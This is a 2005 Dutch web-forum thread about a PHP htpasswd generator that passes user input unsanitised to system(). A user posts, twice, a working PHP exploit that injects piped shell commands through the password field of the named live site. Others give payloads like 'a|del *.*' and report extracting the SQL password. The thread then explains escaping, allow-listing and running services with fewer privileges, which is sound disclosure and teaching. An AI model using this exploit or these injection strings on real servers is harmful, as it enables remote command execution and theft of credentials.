Partyflock
 
Forumonderwerp · 790719
Aangezien ik honderden sites afgezocht heb naar een fatsoenlijke htpasswd maker en er geen werkende uit kon krijgen heb ik er dus maar zelf een gemaakt _O_

Maakt gebruik van htpasswd.exe programma van apache dus werkt altijd :)

Link vind je hieronder:
http://www.x-ploit.nl/htpasswdcreator/

Veel plezier ermee :)
Artiest {SHOWLIST artist 45822, 30830}
de php source neem ik aan
waar is de src?


Hopelijk wat beter dan:

$time_start = getmicrotime();

for ($i=0; $i < 1000; $i++){

}

$time_end = getmicrotime();

$time = $time_end - $time_start;

$time = round($time,5);



Uit: http://www.x-ploit.nl/projects/ftpdatabase/ftp1-0.zip

:P
ja ik wil de php src wel eens zien...

want zo heb je er natuurlijk helemaal geen reet aan :P
...het is niet meer dan een html form en een php scriptje dat een opdracht uitvoert op de server en het resultaat weergeeft
Het is echter interessant om andermans code te zien :) En zo kunnen anderen het scriptje ook zelf op hun server zetten en gebruiken... Dus: show us your code!
laatste aanpassing
<mierenneukmode>
Usernames and Passwords are not logged, this webpage has been made by eXtreme Designs, the script is made by Apache, wich is using md5 encryption.


md5 is een hash algoritme...
</mierenneukmode>
Volume in drive D is Server
Volume Serial Number is CC8F-94B9

Directory of D: \WWWroot\htpasswdcreator
04-07-2005 12:15 .
04-07-2005 12:15 ..
01-07-2005 17:10 1.689 below.gif
10-02-2005 06:15 77.895 htpasswd.exe
02-07-2005 17:48 6.404 index.php
04-07-2005 12:15 43 temppasswd63.txt
01-07-2005 17:06 5.165 titel.gif
5 File( s) 91.196 bytes 2 Dir( s)
62.278.250.496 bytes free


Ik zou dit scriptje liever niet op mijn bak hebben :-)
Wellicht een idee om eerst ff te checken wat je doorpaast aan system() :-)
laatste aanpassing
De source kun je bekijken op:

Edit: staat een ww in, dus maar ff verwijderd...

En omdat het vakantie is, een x-ploit voor op je site:



#!/usr/local/bin/php

<?

// 2005, Narotic says hi :)

// change top line to your path to php (e.g. /usr/bin/php on most linux distro's)

// http methods

define("HTTPGET", 1);

define("HTTPPOST", 2);



define("NEWLINE", "\n");



if($argc != 2) {

die("Usage: ./x-ploit.php command" . NEWLINE);

}



$command = "| " . $argv[1];

echo "Command: $command" . NEWLINE;

$command = urlencode($command);



$uri = "/htpasswdcreator/index.php?output=1";

$host = "www.x-ploit.nl";



$form = array();

$form['username'] = "X-Ploit";

$form['password'] = $command;

$form['repassword'] = $command;



$message = httpquery($host, $uri, $form, HTTPPOST);



$pattern = "/<td width='497'>(.*?)<b>/s";

preg_match($pattern, $message, $matches, PREG_OFFSET_CAPTURE);



$response = $matches[1][0];



echo "----- RESPONSE -----" . NEWLINE;

echo $response . NEWLINE;

echo "----- BYE BYE -----" . NEWLINE;

/*

function: httpquery

parameters:

host: the host to which a socket has to be opened

uri: the unified resource identifier

form: an associative array containing variable-value pairs

method: HTTPPOST (2) or HTTPGET (1)

returns: the response of the host

remarks: make sure you define HTTPPOST and HTTPGET

*/

function httpquery($host, $uri, $form, $method = 1, $addheader = "") {

// open socket at port 80

$fp = @pfsockopen($host, 80, $errno, $errstr, 5);

if(!$fp) {

// return null if no socket is present

return null;

}

// init data to empty string

$data = "";

// add each key val pair

foreach($form as $key => $val) {

$data .= "$key=$val&";

}

// cut last &

$data = substr($data, 0, -1);



if($method == HTTPGET) {

$mtd = "GET";

$uri = $uri . "?" . $data;

$data = "";

} else {

$mtd = "POST";

}



// build header and data

$out = "$mtd $uri HTTP/1.1\r\n";

$out .= "Host: $host\r\n";

$out .= "Accept: */*\r\n";

$out .= "Content-type: application/x-www-form-urlencoded\r\n";

$out .= "Content-length: " . strlen($data) . "\r\n";

$out .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1)';

$out .= "Gecko/20021204\r\n";

$out .= 'Accept: text/xml,application/xml,application/xhtml+xml,';

$out .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';

$out .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";

$out .= "Accept-Language: en-us, en;q=0.50\r\n";

$out .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";

$out .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";

$out .= "Keep-Alive: 300\r\n";

$out .= "Cache-Control: max-age=0\r\n";

$out .= "Connection: Close\r\n";

$out .= $addheader;

$out .= "\r\n";

$out .= $data;



fwrite($fp, $out);

stream_set_timeout($fp, 2);

$in = "";

while(!feof($fp)) {

$in .= fgets($fp, 1024);

}

// check for transfer-encoding is chunked

if(strpos($in, "Transfer-Encoding: chunked") !== false) {

$pos = strpos($in, "\r\n\r\n") + 4;

$in = substr($in, 0, $pos) . decodeChunked(substr($in, $pos));

}

fclose($fp);

return $in;

}





/*

function: decodeChunked

parameters:

buffer: data to be dechunked

returns: the decoded data

*/

function decodeChunked($buffer) {

// length := 0

$length = 0;

$new = '';



// read chunk-size, chunk-extension (if any) and CRLF

// get the position of the linebreak

$chunkend = strpos($buffer,"\r\n") + 2;

$temp = substr($buffer,0,$chunkend);

$chunk_size = hexdec( trim($temp) );

$chunkstart = $chunkend;

while ($chunk_size > 0) {



$chunkend = strpos( $buffer, "\r\n", $chunkstart + $chunk_size);



// Just in case we got a broken connection

if ($chunkend == FALSE) {

$chunk = substr($buffer,$chunkstart);

// append chunk-data to entity-body

$new .= $chunk;

$length += strlen($chunk);

break;

}



// read chunk-data and CRLF

$chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart);

// append chunk-data to entity-body

$new .= $chunk;

// length := length + chunk-size

$length += strlen($chunk);

// read chunk-size and CRLF

$chunkstart = $chunkend + 2;



$chunkend = strpos($buffer,"\r\n",$chunkstart)+2;

if ($chunkend == FALSE) {

break; //Just in case we got a broken connection

}

$temp = substr($buffer,$chunkstart,$chunkend-$chunkstart);

$chunk_size = hexdec( trim($temp) );

$chunkstart = $chunkend;

}

// Update headers

return $new;

}

?>



laatste aanpassing
hehehe :-)

Die kan leuk in de "exploits" sectie op de site... Die is nou nog zo akelig leeg :-)
Ja lol dat idee kwam uit mijn fxp-tijd, dat ik nu volledig achter me heb liggen ;) Geen exploits meer voor mij dus.

FTP database heb ik deels ergens anders van geplaatst, was nogal noobstukje van 15 minuten werken (tjek het design :P)
Ben bezig met 2e versie die niet alleen stuk mooier maar ook beter en meer functies is/heeft.

HTpasswd.exe was ik inderdaad bang voor door teveel dataverkeer, blijkt nu harstikke mee te vallen, en wordt toch veel gebruikt, al bijna 160 keer nadat ik hem gemaakt had, valt me zeker mee.

Source is er niet echt alhoewel dit eigenlijk de code is die het doet:
$nextid = $currentid + 1;
unlink("temppasswd$currentid.txt");
$cmd = "\"htpasswd.exe\" -b -c temppasswd$nextid.txt $username $password";
$str=system($cmd);
$readfile = fopen("temppasswd$nextid.txt", "r");
$htpasswdfile = fgets($readfile);


Hij werkt tenminste en dat kan je van de meeste zeker niet zeggen.
laatste aanpassing
Hehe droog ;)

Nahja jammer, ik zocht namelijk zo'n kant en klaar scriptje dat .htaccess aanmaakte en wat ook nog een beetje secure was...

Nu moet ik dus nog even doorzoeken ;)
laatste aanpassing
Naja wat bedoel je met secure?

Probeem is dat je met php zoveel verschillende encrypties kan maken doormiddel van crypt(); dat het op de unix bakken wel werkt maar niet op windows bakken. Dat zuigt dus denk dat dit de enige optie is of mss met perl ofzo
"Thou Shalt check all user input for validity and security..."

Hij werkt tenminste en dat kan je van de meeste zeker niet zeggen.


En als extra-gratis feature kan de hele wereld commando's op je machine executen (zie mijn post van 12:20) :-)
cenobyte: luie lamzak.. kan je dat niet zelf maken? :)
Te lui...

En als ik zoiets ga maken dan doe ik het in C en in de cgi-bin :P
Dit zijn scriptjes voor in de trash-bin :9
Voordeel is dat deze al in c is gemaakt ;)

Anyways zal mss wel domme vraag zijn maar hoe wil je de hele wereld commands laten uitvoeren op mijn bak? Geef is voorbeeld ofzo :P
Je paast een string door aan system():

$cmd = "\"htpasswd.exe\" -b -c temppasswd$nextid.txt $username $password";
$str=system($cmd);


system() doet eigelijk iets van '/bin/sh -c $string' of in jouw geval: 'cmd.exe -c $string' (omdat je windows op je server draait) ....

Er zijn speciale characters die een bepaalde functie hebben voor de shell.

De "|" (pipeline) bijv. zorgt ervoor dat de output van het ene programma (stdout) wordt doorgestuurd naar het andere programma's invoer (stdin)....

Als je in jouw script een password of username opgeeft met een pipeline erin, wordt alles na de pipeline uitgevoerd.

a|dir
a|del *.*


Wat er dan eigelijk gebeurd is dat de stdout (de output naar het scherm) van htpasswd.exe wordt door gestuurd naar "del *.*" ...
Er zijn voor bash nog meer speciale characters waarmee je dat soort geintjes kan uithalen, bijv: ; | en ` ...

Je moet altijd heel erg uitkijken met wat je door geeft aan system() en je moet user-input nooit zomaar vertrouwen...
Hm naja ik probeer dit:
a|del D:\WWWroot\htpasswdcreator\text.exe

en het bestand wordt niet verwijderd ofzo, dus zal wel wat fout doen.

maar ik begrijp hieruit dat ik eigenlijk alleen letters en cijfers moet gaan gebruiken? Dan kan er toch niets mis gaan?
Misschien dat dat met permissies heeft te maken. Dit wordt uitgevoerd onder de rechten van de webserver.

Probeer maar 'a|dir' en je krijgt een dir listing.

Ik denk dat het netter is om de escapeshellarg() te gebruiken, aangezien sommige mensen bepaalde tekens in hun password willen.

Warning

If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.


http://nl2.php.net/manual/en/function.escapeshellarg.php
Ah ik zie het, inderdaad beetje onveilig alhoewel het alleen maar in die dir execute (gelukkig)

Ik had net dat scriptje gemaakt maar idd er zijn mensen die speciale chars in hun naam willen.

Wat er op php.net staat over die functie vind ik beetje vaag, zoals ik het gelezen heb kan je speciale commands tegenhouden?
Zou je misschien een voorbeeld kunnen posten als je aanmeent dat $username de username inhoudt

(Ik weet ik ben lastig :P)
Is het btw gewoon niet makkelijk om alleen de command | te verbieden? Dat zal dan toch genoeg zijn? Of zijn er nog meer van die 'pipelines' als |?
>, >> en < kunnen ook nog gebruikt worden om naar files te schrijven en uit files te lezen. Overigens, het is gewoon veel makkelijker om gewoon die functie over $password heen te halen.

Overigens, is het niet makkelijker om htpasswd.exe gewoon naar stdout te laten schrijven ipv een file? Naar een file schrijven, deze uitlezen en de volgende run deleten lijkt mij wat omslachtig.
laatste aanpassing
Ik denk dat je ook wel commands buiten die dir kan executen.
Zo kan je bijv. nu al je sql password achter halen.

Ik ben zelf geen php-coder, maar ik veronderstel dat je het zo moet gebruiken:

$username="a|echo evil hax0r commands";
$cmd="foobar.exe ".escapeshellarg($username);
system($cmd);
?>


Is het btw gewoon niet makkelijk om alleen de command | te verbieden? Dat zal dan toch genoeg zijn? Of zijn er nog meer van die 'pipelines' als |?


Er zijn meer chars; het is een beetje afhankelijk van de shell die gebruikt word. Onder windows is dit cmd.exe, voor linux bash. Je kan denk ik met cmd.exe bijv. ook de char & gebruiken om er een ander commando achter te plakken.

Wat eigelijk nog veiliger is, is zonder tussenkomst van de shell htpasswd.exe uit te voeren. Nu ben je nog afhankelijk van de veilig van deze escape-functie. Als het later mogelijk blijkt om er toch chars door heen te krijgen, is je script als nog vulnerable.

Ik weet niet of php een execve() equivalent heeft. (vast wel)
laatste aanpassing
Ik denk dat je ook wel commands buiten die dir kan executen.


Jups, je kunt overal komen. Apache draait als NT System account (standaard voor services in Server 2003) en dat account heeft vrijwel overal rechten voor.
Hoort apache voor windows geen privs te droppen?
Onder unix droppen de childs hun privileges. Ik weet dat er wat verschillen bestaan tussen de unix en windows versie, aangezien windows geen fork() ondersteund.

Het is ihmo een slechte zaak als apache threads NT system rechten hebben.
Ik weet de details ook niet exact, maar ik heb idd het idee dat die processen met teveel rechten draaien. De childs draaien dus idd als NT System (dit geeft whoami ook terug), met veel onnodige rechten als gevolg. Als ik me niet vergis kun je zonder problemen bij de homedir van de Administrator etc.

Hopelijk dat IIS qua security wat beter in Windows genesteld is. Ik verwacht van wel, maar ja, je weet het maar nooit...

Het is overigens wel mogelijk om zelf het Apache process onder een andere user te laten draaien. Je zou op die manier samen met je policy een aparte user voor Apache kunnnen maken met minimale rechten.
Volgens de documentatie maakt apache voor Windows 2 processen aan, waar het child process threaded de requests afhandelt. Je zou zeggen dat dit child process zijn rechten dropped, net als de unix variant.

Uit de manual:

User Account for Apache Service to Run As (NT/2000)

When Apache is first installed as a service (e.g. with the -i option) it will run as user "System" (the LocalSystem account). There should be few issues if all resources for the web server reside on the local system, but it has broad security privileges to affect the local machine!

LocalSystem is a very privileged account locally, so you shouldn't run any shareware applications there. However, it has no network privileges and cannot leave the machine via any NT-secured mechanism, including file system, named pipes, DCOM, or secure RPC.

NEVER grant network privileges to the SYSTEM account! Create a new user account instead, grant the appropriate privileges to that user, and use the 'Log On As:' option. Select the Start Menu -> Settings -> Control Panel -> Services -> apache service ... and click the "Startup" button to access this setting.

A service that runs in the context of the LocalSystem account inherits the security context of the SCM. It is not associated with any logged-on user account and does not have credentials (domain name, user name, and password) to be used for verification.

The SYSTEM account has no privileges to the network, so shared pages or a shared installation of Apache is invisible to the service. If you intend to use any network resources, the following steps should help:


Raar dat dit default zo is ihmo. Beetje slorig van de apache developers, want zoveel moeite is het niet...

Ik vraag me af of de security van IIS beter is. Qua code-kwaliteit legt IIS het sowieso wel af, IIS heeft nogal wat bugs gehad in het verleden.
En in IIS zit ihmo teveel functionaliteit ingebakken, wat eigelijk niet gebruikt wordt maar default wel aan staat. (webdav/spnego/etc.)

De recente asn.1 bug is te triggeren en te exploiten door IIS heen, smb en exchange... (volgens mij zijn daar nog heel veel servers vuln voor btw.)
Ja daarom nam ik apache vanwege de velen bugs en exploits in IIS.

Hoe kom je trouwens aan mij wachtwoord van mijn sql bank?
Ik heb nu alleen a-z, A-Z en cijfers toegestaan dus lijkt me nu beetje moeilijk kunnen? Addslashes heb ik niet toegepast omdat dat geen zin had.

Je heb zeker gewoon via cmd die index.php geopend en daar de pass mee uitgeleest?
Juh, die kon je uit index.php halen.
Opzich ben je zo wel safe voor command injection meuk.

Wat narotic al zei is het wel beter om htpasswd.exe naar stdout te laten writen ipv eerst naar een file. Iemand kan gemakkelijk de temppasswd filetje bruteforcen, en zo dus de passwordhash van zijn voorganger lezen...
Overigens als er een bugje in htpasswd.exe zit, ben je alsnog de lul :)
Ja maar dat ben je ook als iets anders van je server een bug in zit, de kans dat apache ofzo een bug bevat is groter dan htpasswd.exe van een paar kb :p

Je heb wel gelijk met dat stdout, dat zou ik nog even moeten maken is niet echt veel werk maar moet wel even weten hoe :)
#!/usr/local/bin/php
<?
// 2005, Narotic says hi :)
// change top line to your path to php (e.g. /usr/bin/php on most linux distro's)
// http methods
define("HTTPGET", 1);
define("HTTPPOST", 2);

define("NEWLINE", "\n");

if($argc != 2) {
die("Usage: ./x-ploit.php command" . NEWLINE);
}

$command = "| " . $argv[1];
echo "Command: $command" . NEWLINE;
$command = urlencode($command);

$uri = "/htpasswdcreator/index.php?output=1";
$host = "www.x-ploit.nl";

$form = array();
$form['username'] = "X-Ploit";
$form['password'] = $command;
$form['repassword'] = $command;

$message = httpquery($host, $uri, $form, HTTPPOST);

$pattern = "/<td width='497'>(.*?)<b>/s";
preg_match($pattern, $message, $matches, PREG_OFFSET_CAPTURE);

$response = $matches[1][0];

echo "----- RESPONSE -----" . NEWLINE;
echo $response . NEWLINE;
echo "----- BYE BYE -----" . NEWLINE;
/*
function: httpquery
parameters:
host: the host to which a socket has to be opened
uri: the unified resource identifier
form: an associative array containing variable-value pairs
method: HTTPPOST (2) or HTTPGET (1)
returns: the response of the host
remarks: make sure you define HTTPPOST and HTTPGET
*/
function httpquery($host, $uri, $form, $method = 1, $addheader = "") {
// open socket at port 80
$fp = @pfsockopen($host, 80, $errno, $errstr, 5);
if(!$fp) {
// return null if no socket is present
return null;
}
// init data to empty string
$data = "";
// add each key val pair
foreach($form as $key => $val) {
$data .= "$key=$val&";
}
// cut last &
$data = substr($data, 0, -1);

if($method == HTTPGET) {
$mtd = "GET";
$uri = $uri . "?" . $data;
$data = "";
} else {
$mtd = "POST";
}

// build header and data
$out = "$mtd $uri HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Accept: */*\r\n";
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Content-length: " . strlen($data) . "\r\n";
$out .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1)';
$out .= "Gecko/20021204\r\n";
$out .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$out .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$out .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$out .= "Accept-Language: en-us, en;q=0.50\r\n";
$out .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
$out .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$out .= "Keep-Alive: 300\r\n";
$out .= "Cache-Control: max-age=0\r\n";
$out .= "Connection: Close\r\n";
$out .= $addheader;
$out .= "\r\n";
$out .= $data;

fwrite($fp, $out);
stream_set_timeout($fp, 2);
$in = "";
while(!feof($fp)) {
$in .= fgets($fp, 1024);
}
// check for transfer-encoding is chunked
if(strpos($in, "Transfer-Encoding: chunked") !== false) {
$pos = strpos($in, "\r\n\r\n") + 4;
$in = substr($in, 0, $pos) . decodeChunked(substr($in, $pos));
}
fclose($fp);
return $in;
}


/*
function: decodeChunked
parameters:
buffer: data to be dechunked
returns: the decoded data
*/
function decodeChunked($buffer) {
// length := 0
$length = 0;
$new = '';

// read chunk-size, chunk-extension (if any) and CRLF
// get the position of the linebreak
$chunkend = strpos($buffer,"\r\n") + 2;
$temp = substr($buffer,0,$chunkend);
$chunk_size = hexdec( trim($temp) );
$chunkstart = $chunkend;
while ($chunk_size > 0) {

$chunkend = strpos( $buffer, "\r\n", $chunkstart + $chunk_size);

// Just in case we got a broken connection
if ($chunkend == FALSE) {
$chunk = substr($buffer,$chunkstart);
// append chunk-data to entity-body
$new .= $chunk;
$length += strlen($chunk);
break;
}

// read chunk-data and CRLF
$chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart);
// append chunk-data to entity-body
$new .= $chunk;
// length := length + chunk-size
$length += strlen($chunk);
// read chunk-size and CRLF
$chunkstart = $chunkend + 2;

$chunkend = strpos($buffer,"\r\n",$chunkstart)+2;
if ($chunkend == FALSE) {
break; //Just in case we got a broken connection
}
$temp = substr($buffer,$chunkstart,$chunkend-$chunkstart);
$chunk_size = hexdec( trim($temp) );
$chunkstart = $chunkend;
}
// Update headers
return $new;
}
?>


intresant jammer dat het geen class is wie weet als ik een keer niks te doen heb :P
Ja maar dat ben je ook als iets anders van je server een bug in zit, de kans dat apache ofzo een bug bevat is groter dan htpasswd.exe van een paar kb


Punt is dat lokale programma's meestal niet echt geschreven worden met security in het achterhoofd. Zo is er ook nog een grote bekende party-site, die userdata doorgeeft aan een lokaal tooltje dat niet bepaald secure is :)
Vroeger waren er een aantal ftp servers (wuftpd bijv.) lek omdat ze strings doorgaven aan lokale tools als compress/gzip/etc.

Opzich ziet htpasswd er nog wel secure uit, maar het is misschien nog beter en makkelijker om gewoon zelf de md5hash uit te rekenen. Daar zal in php best wel een functie voor zijn.
Like this :P

nu kan je met een openfile enzo je .htpasswd genereren

<?php
$password = crypt("appeltaart")
?>


http://nl3.php.net/crypt
Ja crypt() ken ik al, jammer genoeg werkt het alleen op unix bakken en niet op windows :(
crypt() lijkt me niet echt geschikt.

crypt() will return an encrypted string using the standard Unix DES-based encryption algorithm or alternative algorithms that may be available on the system.


Er is een functie voor het berekenen van md5hashes:
http://nl2.php.net/md5

en voor sha1 hashes:
http://nl2.php.net/sha1
laatste aanpassing
met perl is het makkelijker :P
Dit soort zaken moeten in Brainfuck uiteraard :-)
Rare vraag misschien...maar wat kan je hiermee doen?:D
Uitspraak van the man on the couch op vrijdag 8 juli 2005 om 12:20:


maar het werkt wel veel makkelijker zeker als je ssh access heb op je webserver :P

Brainfuck das een vage taal voor vage mmensen :P gebruik dan de applicatie van apache ofzo:P
maar het werkt wel veel makkelijker zeker als je ssh access heb op je webserver


PHP werkt zeker net zo makkelijk vanaf de shell hoor. Zie mijn bovenstaande code als bewijs.
Uitspraak van narotic op dinsdag 12 juli 2005 om 21:37:
PHP werkt zeker net zo makkelijk vanaf de shell hoor. Zie mijn bovenstaande code als bewijs.


jah maar het verschil tussen perl en php is dat perl meer voor shell gebeuren is en php voor webapplicatie's natuurlijk kan je wel commands door pasen op je server naar je shell maar als je ssh access heb is

htpasswd -c .htpasswd <username>

net zo makkelijk ;)